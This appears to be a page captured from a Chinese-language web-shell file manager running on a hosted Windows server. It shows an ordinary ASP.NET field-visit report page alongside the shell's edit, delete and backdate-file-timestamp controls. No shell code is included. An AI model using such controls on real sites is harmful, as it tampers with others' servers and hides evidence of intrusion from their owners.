文件操作 - FieldVisits.aspx
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\json.kimbly.in\wwwroot\FieldVisits.aspx
编辑文件内容
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="FieldVisits.aspx.cs" Inherits="ConnectionsJSONService.FieldVisits" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"><title>Field Visits</title> <link href="css/bootstrap.min.css" rel="stylesheet" type="text/css" /> </head> <body> <form id="form1" runat="server"> <div style="width:100%"> <div style="float:left;width:15%; padding-top:5px; padding-left:5px"> <asp:DropDownList ID="DropDownList1" runat="server" CssClass="form-control" DataSourceID="SqlDataSource2" DataTextField="FullName" DataValueField="ID" Width="170px"> </asp:DropDownList> <asp:SqlDataSource ID="SqlDataSource2" runat="server" ConnectionString="<%$ ConnectionStrings:ApplicationServices %>" SelectCommand="SELECT [ID], [FullName] FROM [CRMEmployees] where FieldReport = 1 ORDER BY [FullName]"> </asp:SqlDataSource> </div> <div style="float:left;width:5%">.</div><div style="float:left;width:15%;padding-top:5px; padding-left:5px" > <asp:TextBox ID="txtDate" type="Date" runat="server" CssClass="form-control" style="margin-bottom: 5px;"></asp:TextBox> </div> <div style="float:left; padding-top:5px; padding-left:5px"> <asp:Button ID="BtnSearch" runat="server" Text="Search" CssClass="btn btn-success" onclick="BtnSearch_Click" /> </div> <div style="float:left; padding-top:5px; padding-left:5px"> <h5> <asp:Label runat="server" ID="lblTotalDist" style="padding-left: 100px; font-weight:bold"/> </h5> </div> <hr style="width:100%"/> </div> <div style="width:100%"> <asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="False" CellPadding="4" DataKeyNames="ID" DataSourceID="SqlDataSource1" ForeColor="#333333" GridLines="None" Width="100%"> <AlternatingRowStyle BackColor="White" ForeColor="#284775" /> <Columns><asp:BoundField DataField="TimeStamp" DataFormatString="{0:dd-MMM-yy hh:mm tt}" HeaderText="Date" SortExpression="TimeStamp" /> <asp:BoundField DataField="Address" HeaderText="Address" /> <asp:BoundField DataField="distance" HeaderText="Distance" /> <asp:BoundField DataField="Remarks" HeaderText="Remarks" /> </Columns> <EditRowStyle BackColor="#999999" /><FooterStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <HeaderStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /><PagerStyle BackColor="#284775" ForeColor="White" HorizontalAlign="Center" /> <RowStyle BackColor="#F7F6F3" ForeColor="#333333" /><SelectedRowStyle BackColor="#E2DED6" Font-Bold="True" ForeColor="#333333" /> <SortedAscendingCellStyle BackColor="#E9E7E2" /><SortedAscendingHeaderStyle BackColor="#506C8C" /> <SortedDescendingCellStyle BackColor="#FFFDF8" /><SortedDescendingHeaderStyle BackColor="#6F8DAE" /> </asp:GridView> <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:ApplicationServices %>" SelectCommand="SearchFieldPoints" SelectCommandType="StoredProcedure"> <SelectParameters><asp:Parameter DbType="Date" Name="SDate" /><asp:Parameter Name="EmpID" Type="Int32" /></SelectParameters> </asp:SqlDataSource> </div> </form> </body> </html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件